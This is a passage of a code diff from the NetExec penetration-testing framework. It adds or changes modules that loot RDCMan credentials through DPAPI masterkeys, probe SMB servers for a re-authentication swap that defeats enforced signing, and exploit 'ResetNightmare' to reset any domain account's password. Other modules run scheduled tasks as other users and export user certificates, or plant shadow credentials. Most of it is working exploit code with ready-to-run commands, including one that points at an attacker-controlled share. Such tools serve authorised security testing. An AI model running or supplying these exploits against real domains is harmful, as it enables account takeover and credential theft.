self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
context.log.success("Looting RDCMan secrets")
try:
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
rdcman_files, rdgfiles = triage.triage_rdcman()
for rdcman_file in rdcman_files:
if rdcman_file is None:
@@ -58,7 +31,7 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
for rdgfile in rdgfiles:
if rdgfile is None:
continue
@@ -66,6 +39,6 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+14 -3
View File
@@ -1,6 +1,6 @@
from sys import exit
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import CATEGORY
from impacket.dcerpc.v5 import rrp
@@ -101,7 +101,8 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._RdpWmi__dcom.disconnect()
if wmi_rdp._RdpWmi__dcom is not None:
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -222,7 +223,16 @@ class RdpWmi:
self.__aesKey = connection.aesKey
self.__timeout = timeout
self.__dcom = None
if self.__currentprotocol == "wmi":
# The wmi protocol already holds an authenticated IWbemLevel1Login:
# reuse it instead of creating a second DCOMConnection to the same
# target (whose disconnect would clash with the protocol's own)
self.__iWbemLevel1Login = connection.iWbemLevel1Login
return
try:
*_, tgt, _ = connection.conn.getCredentials()
self.__dcom = DCOMConnection(
self.__target,
self.__username,
@@ -235,11 +245,12 @@ class RdpWmi:
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
TGT=tgt,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
+144
View File
@@ -0,0 +1,144 @@
import binascii
import contextlib
from impacket import ntlm
from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
from impacket.smb3structs import SMB2_SESSION_SETUP
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
class NXCModule:
"""
Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
log in as one account, then re-authenticate as a different one on the same connection. That swap
is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
cumulative updates). Not derivable from the build number (feature-flagged: the same build can
allow or refuse it), so it is probed live.
https://blackfield.ch/blog/defeating-enforced-smb-signing/
"""
name = "reauth_swap"
description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
STATUS_SUCCESS = 0x00000000
STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
STATUS_ACCESS_DENIED = 0xC0000022
STATUS_LOGON_FAILURE = 0xC000006D
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
def options(self, context, module_options):
"""
PROBE_USER second account, must differ from the login account (required)
PROBE_PASS second account password
PROBE_NTHASH second account NT hash (instead of PROBE_PASS)
The second account is probed over NTLM; its privileges do not matter.
Lockout warning: every target triggers one real NTLM logon as PROBE_USER
(in the login account's domain). A correct password never increments
badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
domain, returns LOGON_FAILURE and raises badPwdCount once per host.
Validate PROBE_USER on a single host before running wide.
"""
self.probe_user = module_options.get("PROBE_USER")
self.probe_pass = module_options.get("PROBE_PASS", "")
self.probe_nthash = module_options.get("PROBE_NTHASH", "")
if not self.probe_user:
context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
return False
if not self.probe_pass and not self.probe_nthash:
context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
return False
def on_login(self, context, connection):
if self.probe_user.lower() == (connection.username or "").lower():
context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
return
# without enforced signing there is nothing to bypass: a relayed auth is accepted directly
if not connection.signing:
context.log.info("SMB signing not enforced, nothing to bypass - skipping")
return
try:
# fresh session so nxc's own connection is left untouched
new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
try:
status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
finally:
with contextlib.suppress(Exception):
new_conn.close()
except Exception as e:
context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
return
if status == self.STATUS_SUCCESS:
context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
elif status == self.STATUS_ACCESS_DENIED:
context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
elif status == self.STATUS_LOGON_FAILURE:
context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
else:
context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
def reauth_as(self, smb, user, password, domain, nthash):
"""Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
# Create NTLM Type1 message (challenge)
type1 = ntlm.getNTLMSSPType1("", domain)
blob = SPNEGO_NegTokenInit()
blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
blob["MechToken"] = type1.getData()
setup = SMB2SessionSetup()
setup["Flags"] = 0
setup["SecurityMode"] = 1
setup["SecurityBufferLength"] = len(blob.getData())
setup["Buffer"] = blob.getData()
pkt = smb.SMB_PACKET()
pkt["Command"] = SMB2_SESSION_SETUP
pkt["Data"] = setup
ans = smb.recvSMB(smb.sendSMB(pkt))
if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
return ans["Status"]
resp = SMB2SessionSetup_Response(ans["Data"])
try:
type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
except Exception:
raw = resp["Buffer"]
type2 = raw[raw.index(b"NTLMSSP"):]
lm = nt = ""
if nthash:
lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
nt = binascii.unhexlify(nthash)
# Create NTLM Type3 message (authentication)
type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
blob2 = SPNEGO_NegTokenResp()
blob2["ResponseToken"] = type3.getData()
setup2 = SMB2SessionSetup()
setup2["Flags"] = 0
setup2["SecurityMode"] = 1
setup2["SecurityBufferLength"] = len(blob2.getData())
setup2["Buffer"] = blob2.getData()
pkt2 = smb.SMB_PACKET()
pkt2["Command"] = SMB2_SESSION_SETUP
pkt2["Data"] = setup2
ans2 = smb.recvSMB(smb.sendSMB(pkt2))
return ans2["Status"]
+8 -3
View File
@@ -1,7 +1,9 @@
from os import makedirs
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from os.path import join, abspath
from os.path import join
from pathlib import Path
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.examples.secretsdump import RemoteOperations
@@ -73,8 +75,11 @@ class NXCModule:
# Formatting the destination filename
file_path = path.split("$")[-1].replace("/", "_")
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
dest_path = abspath(join(export_path, filename))
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
dest_path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in dest_path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
try:
with open(dest_path, "wb+") as file:
connection.conn.getFile("C$", path, file.write)
+1 -1
View File
@@ -2,7 +2,7 @@
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Refernece:
# Reference:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
+139
View File
@@ -0,0 +1,139 @@
from impacket.krb5 import constants
from impacket.krb5.types import Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
from impacket.krb5.kpasswd import changePassword, KPasswdError, KRB5_KPASSWD_TGT_SPN
from impacket.ldap.ldap import MODIFY_REPLACE, MODIFY_DELETE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Module by @azoxlpf based on the ResetNightmare PoC and
https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/
"""
name = "resetnightmare"
description = "Exploit ResetNightmare (CVE-2026-27912) to reset any account's password via Kerberos change password"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.context = None
self.connection = None
self.target = None
self.new_password = None
self.upn_user = None
self.upn_password = None
self.upn_nthash = None
def options(self, context, module_options):
"""
Reset any account's password by abusing the Kerberos Change Password protocol (CVE-2026-27912, ResetNightmare).
Requires GenericWrite over a controlled account's userPrincipalName, and an unpatched DC.
TARGET sAMAccountName of the account whose password gets reset (append $ for a computer)
NEW_PASSWORD New password to set on TARGET
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
UPN_PASSWORD Cleartext password of UPN_USER
UPN_NTHASH NT Hash of UPN_USER
Examples:
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
"""
self.target = module_options.get("TARGET")
self.new_password = module_options.get("NEW_PASSWORD")
self.upn_user = module_options.get("UPN_USER")
self.upn_password = module_options.get("UPN_PASSWORD", "")
self.upn_nthash = module_options.get("UPN_NTHASH", "")
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
return False
def resolve_account(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
entries = parse_result_attributes(response)
return entries[0]["distinguishedName"] if entries else None
def get_account_upn(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName", "userPrincipalName"])
entries = parse_result_attributes(response)
if not entries:
return None, None
return entries[0]["distinguishedName"], entries[0].get("userPrincipalName")
def set_upn(self, dn, upn):
try:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, upn)]})
return True
except LDAPSessionError as e:
self.context.log.fail(f"Failed to set UPN on {self.upn_user}: {e}")
return False
def restore_upn(self, dn, old_upn):
try:
if old_upn:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, old_upn)]})
self.context.log.display(f"Restored original UPN '{old_upn}' on {self.upn_user}")
else:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_DELETE, [])]})
self.context.log.display(f"Cleared fake UPN from {self.upn_user}")
except LDAPSessionError as e:
self.context.log.fail(f"Cleanup failed, UPN may still be set on {self.upn_user}: {e}")
def request_changepw_tgt(self):
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
kdc = self.connection.kdcHost or self.connection.host
try:
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
except (KerberosError, OSError) as e:
self.context.log.fail(f"Failed to request change-password TGT: {e}")
return None
self.context.log.success(f"Obtained NT-ENTERPRISE TGT for '{self.target}' targeting {KRB5_KPASSWD_TGT_SPN}")
return {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
def reset_password(self, tgt):
kdc = self.connection.kdcHost or self.connection.host
try:
changePassword(self.target, self.connection.domain, self.new_password, TGT=tgt, kdcHost=kdc, kpasswdHost=kdc)
except (KPasswdError, KerberosError, OSError) as e:
self.context.log.fail(f"Password change failed: {' '.join(str(e).split())}")
return False
return True
def on_login(self, context, connection):
self.context = context
self.connection = connection
target_dn = self.resolve_account(self.target)
if not target_dn:
context.log.fail(f"Target '{self.target}' not found")
return
upn_dn, old_upn = self.get_account_upn(self.upn_user)
if not upn_dn:
context.log.fail(f"Controlled account '{self.upn_user}' not found")
return
context.log.display(f"Target: {self.target} ({target_dn})")
context.log.display(f"Controlled account: {self.upn_user} ({upn_dn}), current UPN: {old_upn or '<none>'}")
if not self.set_upn(upn_dn, self.target):
return
context.log.success(f"Set fake UPN '{self.target}' on {self.upn_user}")
try:
tgt = self.request_changepw_tgt()
finally:
self.restore_upn(upn_dn, old_upn)
if tgt is None:
return
if not self.reset_password(tgt):
return
context.log.highlight(f"Successfully reset password of '{self.target}' to '{self.new_password}'")
context.db.add_credential("plaintext", connection.domain, self.target, self.new_password)
+5 -14
View File
@@ -1,9 +1,9 @@
import contextlib
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.smbconnection import SMBConnection
@@ -24,18 +24,9 @@ class NXCModule:
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce = None
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Open HKEY_LOCAL_MACHINE
ans = rrp.hOpenLocalMachine(dce)
@@ -47,7 +38,7 @@ class NXCModule:
except DCERPCException:
self.context.log.fail("No site Database found")
except DCERPCException as e:
if "rpc_s_access_denied" in str(e):
if "rpc_s_access_denied" in str(e) or "ERROR_FILE_NOT_FOUND" in str(e):
self.context.log.info(f"Probably not a primary site server or a distribution point: {e}")
else:
self.context.log.fail(f"Unexpected error: {e}")
+2 -2
View File
@@ -1,6 +1,6 @@
from impacket.ldap import ldap, ldaptypes
from impacket.ldap.ldap import LDAPSearchError
from ldap3.protocol.microsoft import security_descriptor_control
from impacket.ldap.ldapasn1 import SDFlagsControl
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
@@ -56,7 +56,7 @@ class NXCModule:
try:
# Search for SCCM root object
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = security_descriptor_control(sdflags=0x04)
controls = [SDFlagsControl(criticality=False, flags=0x04)]
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldap_connection.search(
searchFilter=search_filter,
+26 -35
View File
@@ -44,7 +44,6 @@ class NXCModule:
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
"""
self.logger = context.log
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
self.share = "C$"
self.output_file_location = "\\Windows\\Temp"
@@ -71,6 +70,7 @@ class NXCModule:
self.template_name = module_options.get("TEMPLATE")
def on_admin_login(self, context, connection):
self.logger = context.log
if self.command_to_run is None:
self.logger.fail("You need to specify a CMD to run")
@@ -80,7 +80,10 @@ class NXCModule:
self.logger.fail("You need to specify a USER to run the task as")
return
if self.command_to_run.lower() == "certreq":
# certreq mode is decided from the original CMD here, because self.command_to_run is later
# reassigned to the batch path; the PFX download below is gated on this same flag
self.is_certreq = self.command_to_run.lower() == "certreq"
if self.is_certreq:
if self.ca_name is None:
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
return
@@ -96,21 +99,18 @@ class NXCModule:
setlocal enabledelayedexpansion
set "BASE={full_path_prefixed_file}"
certreq -new "%BASE%.inf" "%BASE%.req" > nul
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
certutil -user -addstore my "%BASE%.cer" > nul
set "HASH="
for /f "tokens=2 delims=:" %%A in ('
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
') do (
set "tmp=%%A"
set "tmp=!tmp: =!"
set "HASH=!tmp!"
)
certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
if not exist "%BASE%.cer" exit /b 12
if "!HASH!"=="" (
exit /b 1
)
rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
rem that one certificate, never a pre-existing certificate in the user's store
set "HASH="
for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
if "!HASH!"=="" exit /b 13
certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
certutil -user -repairstore my !HASH! > nul 2>&1
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
certutil -user -delstore my !HASH! > nul 2>&1
@@ -173,24 +173,15 @@ class NXCModule:
self.logger.display("Connecting to the remote Service control endpoint")
try:
exec_method = TSCH_EXEC(
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
connection.smb_share_name,
connection.username,
connection.password,
connection.domain,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
connection.args.get_output_tries,
connection.args.share,
self.run_task_as,
self.command_to_run,
self.output_filename,
self.task_name,
self.output_file_location,
connection=connection,
logger=self.logger,
tries=connection.args.get_output_tries,
share=connection.args.share,
run_task_as=self.run_task_as,
run_cmd=self.command_to_run,
output_filename=self.output_filename,
task_name=self.task_name,
output_file_location=self.output_file_location,
)
if self.show_output is False:
@@ -221,7 +212,7 @@ class NXCModule:
except Exception as e:
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
if self.ca_name and self.template_name:
if self.is_certreq:
dump_path = path.join(NXC_PATH, "modules/schtask_as")
if not path.isdir(dump_path):
makedirs(dump_path)
+15 -21
View File
@@ -1,9 +1,10 @@
from impacket.dcerpc.v5 import samr, transport
from impacket.dcerpc.v5 import samr
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -46,24 +47,14 @@ class NXCModule:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.getSAMRResetInfo(context)
def getSAMRResetInfo(self, context):
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(445)
rpc_transport.setRemoteHost(self.__targetIp)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.getSAMRResetInfo(context, connection)
def getSAMRResetInfo(self, context, connection):
dce = None
server_handle = None
domain_handle = None
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
@@ -128,8 +119,11 @@ class NXCModule:
context.log.debug(traceback_format_exc())
finally:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
try:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
except Exception as e:
context.log.debug(f"Error during SAMR cleanup: {e}")
dce.disconnect()
+249
View File
@@ -0,0 +1,249 @@
import json
from pathlib import Path
from cryptography.hazmat.primitives.serialization import NoEncryption
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.common.data.DNWithBinary import DNWithBinary
from dsinternals.common.data.hello.KeyCredential import KeyCredential
from dsinternals.system.DateTime import DateTime
from dsinternals.system.Guid import Guid
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Made by @NeffIsBack
Heavily inspired by the pyWhisker project by Shutdown:
https://github.com/ShutdownRepo/pywhisker
"""
name = "shadow-creds"
description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
DEVICE_ID KeyCredential device ID; required for info and remove
JSONFILE JSON backup path; required for revert and optional for backup
Examples:
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
"""
self.target = module_options.get("TARGET", "").strip()
self.action = module_options.get("ACTION", "list").lower().strip()
self.device_id = module_options.get("DEVICE_ID")
self.jsonfile = module_options.get("JSONFILE")
if not self.target:
context.log.fail("TARGET is required")
return False
if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
return False
if self.action in {"info", "remove"} and not self.device_id:
context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
return False
if self.action == "revert" and not self.jsonfile:
context.log.fail("JSONFILE is required for ACTION=revert")
return False
def on_login(self, context, connection):
self.context = context
self.connection = connection
resp = connection.search(
searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
)
resp_parsed = parse_result_attributes(resp)
if not resp_parsed:
context.log.fail(f"Account '{self.target}' was not found")
return
target_dn = resp_parsed[0]["distinguishedName"]
raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
if self.action == "list":
self.list(self.parse_credentials(raw_values))
elif self.action == "add":
self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
elif self.action == "info":
self.info(self.parse_credentials(raw_values))
elif self.action == "remove":
self.remove(target_dn, self.parse_credentials(raw_values))
elif self.action == "clear":
self.clear(target_dn, raw_values)
elif self.action == "backup":
self.backup(raw_values)
elif self.action == "revert":
self.revert(target_dn)
def parse_credentials(self, raw_values):
credentials = []
for raw_value in raw_values:
try:
# AD stores each KeyCredential as a textual DN-Binary value.
credentials.append(
(
raw_value,
KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
)
)
except Exception as e:
self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
return credentials
def get_credential(self, credentials):
for raw_value, credential in credentials:
if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
return raw_value, credential
self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
return None
def list(self, credentials):
if not credentials:
self.context.log.display(f"No KeyCredentials found on {self.target}")
return
self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
for _, credential in credentials:
self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
def add(self, target_dn, is_computer):
try:
certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
credential = KeyCredential.fromX509Certificate2(
certificate=certificate,
deviceId=Guid(),
owner=target_dn,
currentTime=DateTime(),
isComputerKey=is_computer,
)
device_id = credential.DeviceId.toFormatD().lower()
ldap_value = credential.toDNWithBinary().toString()
output_path = self.write_pfx(certificate, device_id)
except Exception as e:
self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
return
try:
# Add one value instead of replacing the complete multi-valued attribute.
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
except LDAPSessionError as e:
self.context.log.fail(f"Failed to add the KeyCredential: {e}")
self.context.log.display(f"Generated PFX retained at {output_path}")
return
self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
self.context.log.highlight(f"PFX: {output_path}")
def write_pfx(self, certificate, device_id):
output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
output_dir.mkdir(parents=True, exist_ok=True)
output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
output_path.write_bytes(
serialize_key_and_certificates(
name=self.target.encode("utf-8"),
key=certificate.key.to_cryptography_key(),
cert=certificate.certificate.to_cryptography(),
cas=None,
encryption_algorithm=NoEncryption(),
)
)
return output_path
def info(self, credentials):
result = self.get_credential(credentials)
if result is None:
return
_, credential = result
self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
for name, value in {
"Owner": credential.Owner,
"Device ID": credential.DeviceId.toFormatD().lower(),
